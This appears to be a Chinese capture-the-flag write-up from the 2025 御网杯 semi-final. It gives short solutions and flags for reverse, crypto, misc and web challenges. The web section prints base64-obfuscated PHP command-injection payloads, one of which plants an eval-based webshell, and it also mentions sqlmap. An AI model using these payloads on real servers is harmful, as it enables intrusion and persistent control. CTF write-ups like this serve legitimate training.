2025御网杯线下赛 seora 2025-07-15 2026-05-08 御网杯20205线下半决赛 re方向 re_c
FLAG:flag{HNCTFmng1}
re_python
得到
脚本
1 2 3 4 5 6 7 8 9 10 c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8] flag="" for i in range(42): for j in range (128): if j * 33 % 179 == c[i]: flag+=chr(j) print(flag) #flag{2889e7a3-0d6b-4cbb-b6e9-04c0f26c9dca}
再替换一下
密码学 crypto1
放到随波逐流里面能看到Rot13解码之后是明显的16进制编码形式,
经过16进制转字符后特征很明显,最后Base32->Base64->Ascii85混合解码得到flag。
Crypto_10 看到题目描述重排时序 62星序猜测倒序和Base62。
倒序:
Base62解码:
crypto解压这个文件夹 打开下载的附件,有一个压缩包和一张图片。直接解压文件夹需要密码,图片也不能直接打开。
图片用010打开发现文件头是错的修改一下,得到解压密码。
压缩包解压得到flag.jpg直接放随波逐流里然后base64解码。
得到ctf_you_passed包裹flag{}就是最后的flag。
crypto encryption2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from secret import init1,init2,init3,FLAG import hashlib assert(FLAG=="flag{"+hashlib.sha256(init1+init2+init3).hexdigest()+"}") classlfsr(): def__init__(self, init, mask, length): self.init = init self.mask = mask self.lengthmask = 2**(length+1)-1 defnext(self): nextdata = (self.init << 1) & self.lengthmask i = self.init & self.mask & self.lengthmask output = 0 while i != 0: output ^= (i & 1) i = i >> 1 nextdata ^= output self.init = nextdata return output defcombine(x1,x2,x3): return (x1*x2)^(x2*x3)^(x1*x3) if __name__=="__main__": l1 = lfsr(int.from_bytes(init1,"big"),0b100000000000000000000000010000000000000000000000,48) l2 = lfsr(int.from_bytes(init2,"big"),0b100000000000000000000000000000000010000000000000,48) l3 = lfsr(int.from_bytes(init3,"big"),0b100000100000000000000000000000000000000000000000,48) withopen("keystream","wb") as f: for i inrange(8192): b = 0 for j inrange(8): b = (b<<1)+combine(l1.next(),l2.next(),l3.next()) f.write(chr(b).encode())
misc方向 Misc1 题目附件是一个加密的压缩包,直接爆破。
打开文档全选复制
粘贴一下就能看到flag
Misc2 键盘流量
Misc3 数据包分析 附件里的.exe是压缩包,修改后缀解压。
找到流量包全局搜索flag以及flag其他编码形式。
16进制解码
Misc4工业流量分析
按照时间排序,最先STOP的包。
web方向 web rce 方法一(打印编码的flag) 1 ip/?cmd=print(base64_encode(file_get_contents(base64_decode("ZmxhZy5waHA="))));
方法二(写入webshell) 直接写入一个webshell
1 2 3 4 file_put_contents( base64_decode("c2hlbGwucGhw"), // "shell.php" base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW3hdKTs/Pg==") // "<?php @eval(\$_POST[x]); ?>" );
进行编码后为:
1 ip/?cmd=file_put_contents(base64_decode("c2hlbGwucGhw"),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW3hd
web 二次编码 直接访问/flag.php就可以得到flag.php
web sql 直接用sqlmap。